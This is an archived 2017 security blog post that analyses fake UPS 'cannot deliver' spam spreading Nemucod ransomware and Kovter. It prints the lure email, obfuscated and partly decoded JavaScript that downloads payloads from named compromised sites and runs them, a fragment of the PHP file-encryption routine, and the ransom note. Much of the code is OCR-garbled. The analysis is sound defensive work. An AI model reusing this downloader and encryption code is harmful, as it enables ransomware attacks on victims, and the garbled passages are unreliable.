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return of fake UPS cannot deliver malspam with an updated nemucod
ransomware and Kovter payload
Published: 2017-06-29 - Archived: 2026-04-05 16:33:02 UTC

The UPS failed to deliver messages have come back with a vengeance yesterday. I haven’t seen them in UK for a while
now , but it looks like the Kovter gang have taken advantage of the Petya outbreak to add to the mix. They have updated the

nemucod ransomware version te-make-tt-on-firsttookimpossible-to-deerypt-at-this-time-withett-paying-theransom
Update 12 July 2017: Decryptor now available Download HERE

Thanks to the wonderful and dedicated techs at Emsisoft. There is now a decryptor for this ransomware. You can find a

clear, easy to follow set of instructions on how to use the decryptor at Bleeping Computer

Important Notice: With this Nemucod Ransomware version your files get encrypted without changing file names or file
extensions. The victim only knows his or her files are definitely gone when they try to open them or see the changed
desktop background and ransom message. If an antivirus kicks in & removes the malware files and the desktop warning

which frequently happens, then the victim only knows his or her files are definitely gone when they try to open them.

I recently came across ( off line) a couple of examples where a victim asked for help with image files they could not open.
On careful examination we saw their anti-malware tool had kicked in, removed ( or blocked the creation of ) the .hta file
which displayed the “your Files are encrypted” message and the original .js file, but had not detected or removed most of

the other files that actually do the encryption, so the victim did not know that their problem was caused by ransomware.

Update 2 July 2017: now also using FedEx and delivering Kovter & Cerber ransomware, while the UPS continues

simultaneously delivering Nemucod ransomware and Kovter
Update 7 July 2017: slight change to the js file in the emails that delivers the ransomware and Kovter payloads (See below)

Update 19 July 2017: I am informed that for the last couple of days these are only distributing the Nemucod php
Ransomware not Kovter. ( Kovter is still on the compromised download sites and manually available for download,
although an older well detected version). I have seen this before on odd occasions when the malware bad actors are in
process of adding or changing one or more of the malware downloads. I would not be surprised to see a different
ransomware and backdoor payload being distributed in the next few days. Especially now there is a publicly available

decoder / decryptor so income for this gang will stop or vastly reduce with present versions.
Update 23 July 2017: a change in the ransom note see below
Update 30 July 2017: another change in js file see below

Update 16 August 2017: there has been a 2 week break from these, but this morning they are starting to trickle in again. see

below

Update 19 August 2017: A change in behaviour today. They have switched back to using Locky ransomware as the payload

(see below) I haven’t seen Locky ransomware delivered by these fake UPS delivery emails for over 6 months.

Update 20 August 2017: yet another change today. now a html file attachment that pretends to be a word on line word

document that cannot be read in your browser so you need to download & run the plug in to make it work See below

Thanks to Michael Gillespie a well known anti-ransomware campaigner for his assistance and pointing me in the right
direction about the new nemucod ransomware version. If I hadn’t seen his tweet asking for samples, I would probably just
ignored this as a recurrence of the usual “failed to deliver” spam, scam messages pretending to come from all major delivery
companies and added a foot note to one of the other hundreds of posts on this blog about this persistent malware spreading

method.

If you get infected by this or any other ransomware please check out the 1D Ransomware service which will help to identify

what ransomware you have been affected by and offer suggestions for decryption

The emails are the same as usual ( you only have to look through this blog and search for UPS or FedEx or USPS and see

hundreds of different examples and subjects)
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£ Reply [ Reply All £33 Forward

Thu 29/06/2017 04:49

ntxresearch-5225@ntxresearch.com

Dear Customer,

UPS courier was unable to contact you for your parcel delivery.
You can download the shipment label attached!

Yours truly,

UPS Mail Delivery Agent.

Another researcher has created a video showing the infection chain with this ransomware. It clearly shows that the files get
encrypted without changing file names or file extensions. The victim only knows his or her files are definitely gone when

they try to open them or see the changed desktop background and ransom message.

An error occurred.

or enable JavaScript if
it is disabled in your browser.

And this video also created by the same researcher with the newly updated version of the js file ( 7 July 2017 ). This video

shows word being opened but no doc appearing, just garbled plain txt. while all the action happens in the background while
your attention is on the fake word doc. It clearly shows the encryption happening before the hta file that creates and displays

the ransom note is dropped and the desktop changed and ransom notes created.

We have been hearing about some antiviruses block .hta file creation or delete them as soon as they are created before they
can display the ransom note. But not recognize or block the actual .js file and the subsequent php files from running, so
allow the ransomware to work. Because there is no displayed note or background change the victim doesn’t realise their files

have been encrypted until they go to use them.

An error occurred.

, or enable JavaScript if it
is disabled in your browser.

but there is a difference in the .js files that are coming in the zips.

The initial js looks very similar to previous but has much longer vars ( var zemk) that is used to download the other files.
This file looks like
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Fle Edt Fomat View Help

ffunction zulum(pikue) {pikue.send();}
var x = i ", "modx.mbalet

artdecor thon.nl", "elita5.md"];

var robs = 20-20;
var mumik = new Array(‘GET',JIJINGER');
var mustafa = x.length;

while(true)
{
if(robs>=mustafa)
break;
try
{
var ]usavh new ActiveXObject (akrin("NSKHL2. XAMMAALHTTP" )5
= IpCFIQTSA: 5 j i AQBAMTIBCEKCAQEAI LS FUHATPA9tAUTRK SeBGH
‘z..seq;esekrhqejmnunsn/vcnn P Cav: % i IFBPCe0GF3kbiAdVSCSYDba85 ARz
+9BCTy1Z51p! TGAYZNCpSRVLPXEKL q 171Kk9apkK7qb2a2618k1vq1rTHg9 jg52LC3agh T IAuALCx9pIH2bA 2NN LD+HCHQIDAQABRQHBRIgFy T5akANNO2EDYSZA_pxBt -
h7_QaMHTKALIWKOLY Vg '
var ghyt = false;
var gerlk = x[robs];
var ruxk = '4c88928666328346a2eefbsdbdc3667d";
Joseph.open(mumik[2-2], "http://"+gerlks'/ +graczno()+' 2" +zemk, ghyt);
zulum(]oseph),
r gt = joseph.responseText;
var miffka = gt.indexOf (ruxk);
var pista le
var miluoki = "a";
if ((pistas0) > (8+1+1) * 100 && 2 == 2)
if (miffka + 3 > 2)
{
var gusar = rizma(gt, ruxk).join(miluoki
hust(gusar);
break;
¥
¥
Y
catch(e)
¥
robs+e;

function malysh() {return akrim("htAAtp");}

function rizma(kjg, 1ki) { return kjg.split(lki);}
function greezno() {return akrim('counAter’);}

function hust(gulibator){eval(gulibator);}

function akrin(grigam,podol){return grigam.replace(/AA/g,"");}

as usual you take the first site name in var x and add /counter/? and then var zemk to get the counter.js. these download
counter.js. (if the first site is not responding, it moves on to the other sites in the list). The first smaller counter.js is
downloaded when you use internet explorer to download it or an IE user agent in Wget. The second larger counter.js is only
delivered when the js from the email is allowed to download it, or you use a “null” user agent via browser or wget or use

Chrome or Firefox browser.

the small one looks like

File Edit Format View Help

v4c88928666328346a2eefb5dbdc3667dr goxe='vAc88928666328346a2eefbSdbdc3667dr 1d=0; ';goxe+='vAc88928666328346a2eefbSdbdc3667dr cs=5t';goxe
+="ring.fro’;goxes="nChac88928666328346a2eefb5dbdc3667drCode” jgoxet="(92); vAcBBI2B666328346a2eefbsdbdc3667dr jgoxe+="cq=Stri”;goxet="ng.fr';goxe
+="omCh4c88928666328346a2eefb5dbdc3667drC ' ;goxe+="ode(34); ' ;goxe+=" vACBB928666328346a2eefbSdbdc3667dr 11';goxe+="=
["nAc88928666328346a2eefbSdbdc3667dt iwdc88928666328346a2eefbSdbdc3667d. ' jgoxe+="com", ' ;goxe+=""Ac88928666328346a2eefbSdbdc3667drtdec ' ;goxe
+="0rf4c88928666328346a2eefbSdbdc3667dshio’ sgoxer="n. con’ jgoxer="", "des ' jgoxe+=' indc8E928666328346a2eefbSdbdc3667dno. " s goxe
+='com.Ac88928666328346a2eefbSdbdc3667d ;goxe+="index';goxe+="s4c88928666328346a2eefb5dbdc3667d. con' ;goxe

42" .4c88928666328346a2e e fb5dbdc3667dr", "gol " ; goxer ingc';goxe+="lub.ru’;goxe+=""]; vAc88928666328346a2eefbSdbdc3667dr ws';goxe+='=WScript’;goxe
! .Credc88928666328346a2eefb5dbdc3667dte0b] ' ; goxe "WSc';goxe+="ript.Shell';goxe+=""); vAc88928666328346a2eefbSdbdc3667dr fn';goxe

s . Exp4c88928666328346a2eefbSdbdc3667dn" ; goxe+="dEnvi' ;goxe+="ronment ' ;goxe+='Strings ("%’ ;goxe+="TENP%") ';goxe+="+cs
+"1FeZrabvipCf1QTS49VisdhtnPEzPVIIIbP"; ' ; goxe+="v4cBB928666328346a2eefb5dbdc3667dr p' ;goxe 5. Exp4c8B928666328346a2eefb5dbdc3667d " jgoxe
+="'ndEnviron' ; goxe+="mentS' ;goxe+="trings ' ;goxe+="("KTEMP%" ' ;goxe+=")+cs+"php';goxe+='5.d11"; v';goxet='4c88928666328346a2eefbSdbdc3667dr
;goxe+="WScript.Cr';goxe+="e4cB8928666328346a2eefb5dbdc3667dte0b] " ; goxe+="ect ("MSX';goxe+="ML2 XMLHTT' ;goxe+="P"); ';g
v4c88928666328346a2eeTbSdbdc3667dr x4c88028666328346a2eefbSdbdc3667d=MS " ; goxes="cript ' ;goxer=". CrEA(SSQZ855532834532&efh5dhdc3557dt' ;goxe
"eObject ' ;goxe+=" ("ADODB. St ; goxe+='redc88928666328346a2eefb5dbdc3667dn") ' jgoxe+=" ; vAcBBI28666328346a2eefbSdbdc3667dr *jgoxer=Fosliscrip”;goxe
't.Cre4c88928666328346a2eefb5dbdc3667dteOb ;goxe+="ject("Scr' jgoxe+="ipting.Fi';goxe+='leSystem0' ;goxe+="bject”)’ jgoxe+="; if (';goxe+='!
fo.FileE';goxe+="xists(';goxe+="fn+".d";goxe+="0c")) ';goxe+='{ vAcB8928666328346a2eefbSdbdc3667dr f';goxeat="p=Fo.C";goxe
+="redc88928666328346a2eefbsdbdc 3667dte s goxe ; ile(fn+". " sgoxet="doc”, ' sgoxes="true); fo'jgoxer="r
(v4c88928666328346a2eefbSdbdc3667dr " jgoxes=" ; 3'sgoxer=" des) {';goxes=' fp.W' goxer='rite(Stri';goxe
+="ng. fronChac88918666328346a2eefbSdbdc3667d" ;goxe+=" nCode (HACE89286663283a6a2eefbsdbdc3667d" ;goxes="th. Floo” ;goxer="n
(M4c88928666328346a2eefbS5dbdc3667dth.r' ; goxe+="4c88928666328346a2eefbSdbdc3667dndom’ ; goxe+="()*64+20)) ' ;goxe+="); }; fp';goxe+=
+="try{us.Run' ;goxe+="(fn+".doc' ;goxe+="",1,0" ;goxe+=");}cAc88928666328346a2eefbSdbdc3667d" jgoxa+="tch(e’ ;goxa+="r){}; fo';goxe+='r
(vACBB928666328346a2eefbSdbdc3667dr ' ;goxe+="n=2; n';goxe+='<=4; n+';goxe+='+) { f';goxe+='or(v4cBB928666328346a2eefbSdbdc3667dr i=l';goxe+="d;i|

x

—

.Close(); ';goxe

The downloaded counter needs to be deobfuscated by using the specific var ruxk in the original js file not the var zemk as in

previous versions giving

File Edit Format View Help

lar goxe='var 1d=6; var cs=String.fromCharCode(92); var cq=String.fromCharCode(34); var 11=

["modx.mbalet.ru”,"goldwingclub.ru”, "desinano.com.ar”, "artdecorfashion. com”, "www.gloszp.pl"]; var ws=WScript.CreateObject("WScript.Shell™); var
5. ExpandEnvironmentStrings ("$TEMP%" ) +cs+"1FeZrdbvMpCf1QTSAOV sdhtnPEzPVMibP"; var pd=ws.ExpandEnvironmentStrings("$TEMP%")+cs+"phpS.d1l"; var
xo=WScript.CreateObject ("MSXHL2.XMLHTTP"); var xa=WScript.CreateObject("ADODB.Stream"); var fo=WScript.CreateObject("Scripting.FileSystemObject")
if (!fo.FileExists(fn+".doc")) { var fp=fo.CreateTextFile(fn+".doc",true); for(var i=0; i<12817; i++) { fp.Write(String.fromCharCode(Math.floor
(Math.random()*64+20))); }; fp.Close(); try{ws.Run(fn+".doc",1,0);}catch(er){}; for (var n=2; n<=4; n++) { for(var i=1d;i

The larger counter (1) which is a transformed to the ( drops the embedded) php file (only a part shown in screenshot)

Page 3 of 11


http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/ups_failed-to-deliver-js.png
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/ups_failed-to-deliver-js.png
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/counter1-1.png
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/counter1-1.png
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/counter1_decoded.png
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/counter1_decoded.png

http://web.archive.org/web/20181007211751 /https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload,/

de(34); ";goxe
L igoxe

1d-
th(EEslsesszzszdeazeeﬂvsdhd<3657drcade Eoxer="(92); " sgoxer=" va:xss285553133A652==fh5dbd<3557dr < 3goxer="q=5tri ' goe s

*;goxer=
Weeript: -,guxe¢

*sgoxet=

/4cB8928666328346a222 Fh5dbdc3667dr us “cretcasenssesaigsatade b5 36674003 goxe

*fgox ent '3 goxe- ings ("% jgoxes="TEUPX")+ " jgorer
e saerere B g 2<a8 20656 s saser e Fosddc S ndEm - gt

4B3928666328346a2eefb5dbdc3667dr x0=" jgoxe+="WiScript ' ;goxe+=" . Credc8B928666328346a2ee bSdbdc3667dte0b " ; goxe:

5goxer="cript ' ;goxes=" . Creacss928666328346a2eefbsdbdc3667dt ' sgoxet="elbie

.1cB8928666328346a2eefb5dbdc 36! ta ‘Seripti';goxe

488928666328 346a2eefbSdbdc 3667dmis - ; goxe:

e11") " ; goxe:
+"1FeZrabulipCH -
X")+"sgoxese css"phpS sgoxers 11" v' ‘goxet

sose

ct("WScr jgoxer="ipt.S " goxe

ilebcgox

ng.FileSys'; goxes="tenObje ©); 15

o (rearssezxsssz1B)Asa2eefbSdbdc)&é?dteh sgoxe
rite(ste: s
h. rmsszsssszzszaeazeerusand(assmaam sgoxer="()*64120) ' sg0xer=")); }; F';goxe!
Sgoxer="er){}; ';goxer="for (vAcBB928666326346a2eefb5dbdc3667dr n' ;goxes='=2; e jaoxen

Fie =) (v
e pexere” Fur(uA:EﬂQZBSSS!m)ASa]eefbsdbddss?dr Sgoxe *jgoxer="{ Fp.i'jgoxe

Taorer

sg0x
CloseQ); gomes=" try(ogoer scassansesaamassezes osdbcaserdsch
++) 11.1en

s-Run(’; d 0);}
Coponens? for('jponas 'wkEEE2EEESBZEEA5=Zee6bsdbdc3657dr 103 e ngth ; goxes= {*sgoxer="
= " er/?

V4C8592856632834503¢e o3 dbdCI6ETdn dneo;”sgoner” try " sgoer= { x0-o' sgoxei= pen p://"+ sgoxes="11[1 ]+ s .
0660eHT QPN TBCEKCAQEALL
R6n/YGDI7:
1FBPCE0GF:
+9BCTyT Ted RVLPHEKL.
07017 Kk9qpKK jesaLc Jnudt i
ict

4c88928666325346020e Fosdbdc3667d 5" s Boxes=
X4cB89286663283462ms FbSdbde 3667 goxat=" . Type=1' ;goxe
$F(xAc88928666328346a200PbSdbdc3667d . s goxes='Size> ' jgoxed
(F';goxer="nin+" e sgoxer="xe",2) " ;goxer="sry(u’ sgoxe

); no.se”sgones="nd(); iF'sgoxer=" (x0. smsaszaessszszasazemsanmsm‘,gaxe‘— tus==2";goxe+: sgoxes=" xa:EBs186663zEerazeebedbddssM Open seoxes=" ()3
AcBO388883282M8 20 52667, e~ Urito(o gomer="esponsel sgumer="ory); <AEI928866328MBaTeeTLSDICIRATd' oxer="

00) ';goxe+="{ dn="3gc ){x" sgoxe
e gorer= <Acssszssssstidsazesfbsdbdcasswtch(e sgoxes:

;) e i#(
)(xd(SSQIBSSSlzsiasazeefbsdhddssm S'5goxe
s

ileExists

fo.F"jgoxer
*jgoxes="eline("<2p"sg0xe

tr_repldcas928666328346a20efbSdbdc3667d  sgoxe=" ce(
T g W0/ 228 sgcne St
RavZ:0COM' 5

*sgoxer="64_decode( " jgoxe+="s
7Y S =00 MOy gores= " IsuhTIN gone) Bx3sofd gore
09 & 7Con +3drOdHTUT ' ;

emssgzssseszmsazeemsabmssw( sgoxes=
JROter= AT g MO o goxer= 17t acommseooazpasanee i 067 gocer
STphlbdB ; goxer="nndycasBkt ' ; gos cboy
dhPuys3n0a’; so0i g0
SEFIXQIV jgoxe. @Auc” ; goxer-
sgoxes="5CXV7Ls ' goxer= IXOLNSEUS  ;goxes="KaGNT9" ;goxe="nicOLUn"jgoxe+="riiqu/X" ;goxes='DYnzgpzi
T arbeam onar— AT T g
“aBFusnY/gn’  goxe:

gzinfl'sgoxes=

= 7Fle8" s goxee
/0271 gocer

“DLi15K0G"  gosert=" 619900 goxer-
TDUISYgore
2/195LuM"  goxe e
S S I e,
*AT_JIODEUP" ; goxe+=" g6KNRGB ' ; goxe-
G/000000 | gorer=LEONPA' o1
“UnrPd” sgoxe+="773VpIRAS ' s goxe+="DDTVyJHIR" ; goxe+="FdgBL2 HIROL N sgoxet="Fa2s”
s "TbekE  goxernt FLCU3/ goxer DERul 165G goxers GLIRya. goxers +BLAD" spoxer AOtez";goxer="BaQi2g"
Loern! CoTANG  overe  435THID. sEovers £/AYASIS" sgomerct NGIKIVSD' s onar’ LLATHIOQN sgoxereRIRR" s borers +15Fdy " s govere ' 8OFUS s gonars o VA B DTGNS sgona TayToabk: sgoxers" JCh D" sgoners h
UQ3AEZERE" s goxer="ouROgAIPy s goxer=" cKkXPAJKo' goxet="7YGKOD " ;goxer="EGEXFEENL " ; goxer="Fsj4T " jgoxer="rdxlIULOGPZ  ;goxer="Asypoi ' ;goxe. *6B91CkIVC) " s goxer="Zlixpdlt " ;goxer="BCBPSUZIC

pPSbexasl sgoe:
IBCHPS " 5 goce oxet="CPoeoWV
o ML g b rammes
MZTRAN ; goxer="1tFUSLYE7C"

1MODEOS " ; goxe-+="HBSIIRYPK ' goxer+-

"CaTeP s goxes-
e sgoner o Jgenes
MODEL1"; goxe

UBHjZ';gox

(C0g1Yz" ;g0xe

which is decoded using the same vars as in earlier example to
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X False); wo.send(); if(xo.status==200) { xa.Open(); xa.Typacl; xa-Write(xo.rasponseBody); xa.Positionsd; if(xa.5176>10000) { da=1; if(n=2){xa soveTorile(in
et Dty Run(inens” xe’, 1,0):)cotch(en) )3) else §f(n=s3)(xo.SaveTorile(ine" e, 2);) else ifnm=t) (xo.SoveToFle(pd,2);} )i xo:Close); 1 Sf(énm=){ddiibreakid; } cateh(en) (i 3 Ji 4

(Fo.FileExista (From exe™) 88 fo.Filbmsta(pd)) { var extFile(Fne".php" ,true); fp.Wiriteline("<2php
sval(geinflate(basesd.ducoda(str_raplace(" 2" CONPAT Moot e arosqen, o j JycesBktac7d 7CONPAT_HODELnY+1dr9dHTu
A +XFABTVOD1T7IXFadSgF K7pabTcaFY:
RyP)Tth( 2P22E185§TE 7VHELCONPAT | OVPAT_ _HODEYNCBLO4BFuSn
Y/en .} t SrbXCNRNT70T:
Ao OEAOE BT AT T ol AT yft2sgel /yvaqL TEbt337ue
5 15Y0T/AoTIWCONPAT_ODEC jZ<HELEGBe1T. Wof iC2/195L +QaYsF
2ABCbPSIATONLCCPORINCSGTE ONPAT_t P x 3F7C Tevac 2 TRALFWBLY7C at
1F7IRAVICOMPAT QFCUIAURCUVIFBLHL, ONPAT_ _MODELL LilqTenlgL v v
mTbrKEFi 3K/ JpEXiCONPAT_HODERUL1BFCGL7RyKG+8L /4cDi: hiDh j )
MUL0GPZAsypBiUBH]ZqUDE1YZ689Ckove zlixpd 1 EECBpSUZ JCONPAT_HODExC! L G D C: _MODE onPAT_
5 5 2 JHrOB9BLIE7uSCrds: " i . §Tenp7Fr2/ /3 1/Dd/Eﬂt7S
YCONPAT_MODENS5y COMPAT_ i _HODEL GE188COUPAT_IODEAQYUU: bt
NVsmdrdkhyLml, 7QRUNC. aPAT MOORIBZ3Y1 1550 3e/BV3 WMoy ICAECONPAT AODENASESSLoR
pIyj Tozwan 0 3 Yo4uGLCOMPAT I JXCOUPAT_HODEHKT iMe
¥ VIPAT_MODETtL o sn
i ToDFhUFT x i jub2CSCeGHy i CEapiacit
Geaj /35VAaGLCONPAT, »«wzmg iAu/9] _HODEPAGLAIT7M3Zi 47NF73Eq/Y18HnL GollyEn HAFYECOMPAT_} 1012y 3pconpar x v
PAT (1765YSL62CONPAT_HODECONPAT_IODELZR3HK X
VCI0zMSZ 4V YHICZTAZCONPAT_MODE Ptokikn3r1Y1 OFPAT_MODEAF grSCUTGE! HPAT. mDEJSHG]nvuMJEquBmNGvHquxoPu]eru(tqHhAsLmer.LFmBJPEJencSEfthoszmsAxKKmnPAT free
BEuS sk VRS ORIBSAYRB Lk 3FyGIC P ALCCAPAT | 33hfeL
_oDE: X x T mm/wk -t I
Ef/aDSWATszntNGmerbebv:vrAstpmthﬁh iHSP i IaCV3TZcCrVul. i 3A3vYISKnDy oo
_MODERRd9tLxL STt Ul OPAT. ooELLypron
iy ey Dexs2GdnL & SMCOMPAT } 3LLrSytcHUCHYUIFG: 2
_MODE+5D1
RpaXd7 fL+ulel §ieT/33nDLT/ _MODEIR =T /dTZNKKL73. ibekft L 2 i c 3
X7yUFP7GP3bpUCONPAT_HODEQCOMPAT I HPAT_MODEUNFmT2pFaFZ1 x 5CONPAT_ PBT2IS: 3t
a x OMPAT_MODEKRXY: OVPAT_
COMPAT_MODEUCOPAT_HODEGERXYjo3YPLEV1 (TK65IKEQLOMPAT_1 HPAT e taDei ELCONPAT_IODE3abhLFndst
Aixgovnqlix LOB6)3/xpFOGBHYU7 1oWOBVIF1F8Gr 10y hILE2CPMTBXENCONPAT_HODE /- M7y eI a mnskazchJuy:JFySJUstuy IRSTITUIngT 5
dlaconpAT YOOI 3 L 3 _MODET7SmuBDuC ) _HODEg
€6YEQ2CONPAT 195GEbY NI i VPAT 1 B HPAT_MODEHUSRT _MODEX
]dePﬂerwsIvRvaﬂEmYKiZUBKquC/NCDMPAT HOOEIRG X1 16230/ 2 i i _MODEDS. 1CONPAT. MuDEbRxSZIf\IyP
znvCrc ] 3 1cz0Th TLrdnt3SC KHNOCONPAT_
a MODEL 3 VPAT_MODERSAFXL a5 415 Chus
v 5} _MODEiuSKat: .t i !
i HPAT i i i i pcbd/Beor1:
dtCOlEAT Monzhnnbnn i I OMPAT_ a 100E 3godPs16VA
3 _HODENCRWKC sc/ERx02x3/1" 5 IKLtrpuspyoE
Lo BB gEPTOEONPAT SOt 1AZEAQPGUT3K YartU7L 5 1rEskxsu/vcNgxuvfsw/cnvmv/PKUSgEkuﬁF}LDgerJqu\coMPAT HODERY7
27 TAR02COUPAT ! /%908 10310/ KLUxNNjxv2 AT_HODEPY1GFZ1tE04bt
10210 i LHETXKT /bTVIVR i i Fs0KulinLoe9i

Which in turn needs further decoding to make a working php file that actually does the encryption, which I decoded using
the online php decoding service http://www.unphp.net/decode/519e3ad90af1d2854b014a259e079e98/ giving something

more readable to humans
Where I am told the relevant part for our purposes is:

¢db = fopen($fn . ".db", "u");
1 foreach (S_SER\’ER["E'_'_ES"] as $file) {
Sfp fopen ($file, "r+"):
if ($fp = false) continue;
Strash = ™"

for ($i = 0:%i < 2048;%i4+) $trash.= chr(mt_rand(0, -
Fleews = "5
for ($i = 0:%i < 128;%i++) Skey.= chr(mt rand(0, 2 S

faes = new Crypt_ AES (CRYPT_RES MODE_ECE);
Zaez-»setKeylength(125)

Saes-rsetEev (Skev)

b fread(S$fp, 2048):

fseek ($fp, 0):

fwrite ($fp, substr($trash, 0, strlen($b))):
folose (Sfp)

£b Saes->encrypt (§b) ;

Srsa = new Crypt RSA():

&rsa->loadKey (Skeypub) ;

$key = frsa-rencrypt ($key);

fputs (db, $file . " " . base64 encode(Skey) . " " . baseb64 encode($b) . "

"):
i }|
folose (Sdb) ;

Showing a high level of encryption that at this time appears unable to be decrypted without paying the ransom.

This ransom note ( or something similar with different links gets displayed on the victim’s desktop
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http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/counter11.png
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/counter11.png
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/counter11_decoded.png
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/counter11_decoded.png
http://web.archive.org/web/20181007211751/http://www.unphp.net/decode/519e3ad90af1d2854b014a259e079e98/
http://web.archive.org/web/20181007211751/https://twitter.com/demonslay335/status/880173903506755584
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/decoded_php.jpg
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/decoded_php.jpg

http://web.archive.org/web/20181007211751 /https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload,/

ATTENTION!

All your documents, photos, databases and other important personal files were encrypted
using a combination of strong RSA-2048 and AES-128 algorithms.

The only way to restore your files is to buy decryptor. Please, follow these steps:

1. Create your Bitcoin wallet here:
https://blockchain.info/wallet/new

2. Buy 0.11471 bitcoins here:
https://localbitcoins.com/buy_bitcoins

3. Send 0.11471 bitcoins to this address:
<%ADDRESS%>

4. Open one of the following links in your browser:
http://elita5.md/counter/?1GCn9vz73FNDmoVxgxXqjo7dSXyLmfnTDt
http://artdecorfashion.com/counter/?1GCn9vz7 3FNDmoVxgxXqjo7dSXyLmfnTDt
http://goldwingclub.ru/counter/?1GCn9vz7 3FNDmoVxgxXqjo7dSXyLmfnTDt
http://perdasbasalti.it/counter/?1GCn9vz73FNDmoVxgxXgjo7dSXyLmfnTDt
http://natiwa.com/counter/?1GCn9vz73FNDmoVxgxXqgjo7dSXyLmfnTDt

5. Download and run decryptor to restore your files.

You can find this instruction in "DECRYPT" file on your desktop.

The original js downloads 4 files via the counter filel is Kovter as usual, the second is unknown and there is a massive
6.7mb php interpreter. The 2nd file won’t run without the php interpreter. It looks like it also belongs to PHP and both php
files together are needed to run the downloaded php counter files to encrypt the computer

You get 3 identical named files, with different file extensions in THIS example from 4 July 2017 we got

162citM2mvkp8bEpsLyUchneaUyauzndYZ.doc which appears to be data and not a word doc that is somehow involved in

the ransomware
162citM2mvkp8bEpsLyUchneaUyauzndYZ.php ( VirusTotal)
162citM2mvkp8bEpsLyUchneaUyauzndYZ.exe which is a genuine php interpreter file ( VirusTotal)

All 3 work together to do the ransomware and need to be called and run from the original js file and needs all files to be

downloaded to the correct places on the victim’s computer otherwise you don’t get ransomed
then we got the Kovter malware payload as well from winnicemoldawii.pl/counter/?2 ( VirusTotal)

For some reason a manual download using Internet Explorer browser or Wget with an IE User Agent of the URL in the
emailed .js file will give a cut down version of the counter file which only gives Kovter & the innocent PHP files not the
ransomware, but using a null user agent or Firefox or Chrome gives the full counter as shown and made available in the
PayloadSecurity report which contains the embedded php ransomware file in encoded/obfuscated form. I suppose that this
is intended to fool or create confusion for researchers who tend to use an IE user agent in Wget, because so much malware

wants to use IE as a downloader because that is the default browser on many susceptible victim’s computers.

winnicemoldawii.pl/counter/?

0000000162citM2mvkp8bEpsLyUchneaUyauzndY Z01260400MIIBIjANBgkqhkiGOWOBAQEFAAOCAQ8AMIIBCgK CAQEAwxpxEMYyKM9ghvavg
eQIWKXMCcsTvSGENW4hF_NZSEsKYjEn9GUXLPGcW1emZ92jcfltfODcX0Rul8cUUuHFkcH4bzAVAb32DVSS6QIhSVKY ffqtfdzZKEXiWKMrEAK
mCCBQIlaC7me9cOUxchwi9TetRquy4w1SvcAUIL4H8_IviuKtT7B-jbrkYqTbS5CpyqV 1nDKgdxiwW-2MCHBE3yE-
TKsOS9G35UwrO99GNcEMX30k2eFEEjjnipdLjTkYdvtt67RxK_hC_5YvB7flwIDAQABrRR99hCv_aYRHVQBjLN6HIk554pvQ67j-
PFrSY9rXarZYBubvEMIJOImIg-Zm9wNMEmMNOm-4S8UgLWyNXbEDCPzEt0

None of the online sandboxes were able to show encryption in action although they do show all the downloaded files ( I
don’t think any of the sandboxes are set to act on all retrieved files only .exe files). All the sandboxes did show error

messages about missing files and missing dependencies, that doesn’t happen on the majority of real computers.

environmentId=100

https:/jbxcloud.joesecurity.org/analysis/300085/1/html

https://www.virustotal.com/en/file/d167368409c3fa244e17cef06eb83174b03fc0397cb0d907daf30dfdba5e100e/analysis/1498629470/

The Kovter download looks like it works separately to the ransomware but might actually be involved somewhere along the

line.

https://www.virustotal.com/en/file/21efa5573721890cdcf9481£613ccb7d633733f05bc29cfeae402802e382cc92/analysis/1498630707/
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http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/nemucod_ransomware_instructions.jpg
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/nemucod_ransomware_instructions.jpg
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/cd9fdeafdb50a3f66ce0adbb58b735d6820abb009ab0b8a517c786119ecffbb4?environmentId=100
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/c846b7c623083e255ebcd563e35908aba0b88e3d316f370a9e7fd9f5fe349bf7/analysis/1499148450/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/482711b2f17870ddae316619ba2f487641e35ac4c099ae7e0ff4becd79e89faf/analysis/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/7045af1a01e7d9a7f7e786e5d778b6a9a82a33c81223625fc36ba82e64cbe7db/analysis/1499148174/
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/cd9fdeafdb50a3f66ce0adbb58b735d6820abb009ab0b8a517c786119ecffbb4?environmentId=100
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/d167368409c3fa244e17cef06eb83174b03fc0397cb0d907daf30dfdba5e100e?environmentId=100
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/d167368409c3fa244e17cef06eb83174b03fc0397cb0d907daf30dfdba5e100e?environmentId=100
http://web.archive.org/web/20181007211751/https://jbxcloud.joesecurity.org/analysis/300085/1/html
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/d167368409c3fa244e17cef06eb83174b03fc0397cb0d907daf30dfdba5e100e/analysis/1498629470/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/21efa5573721890cdcf9481f613ccb7d633733f05bc29cfeae402802e382cc92/analysis/1498630707/

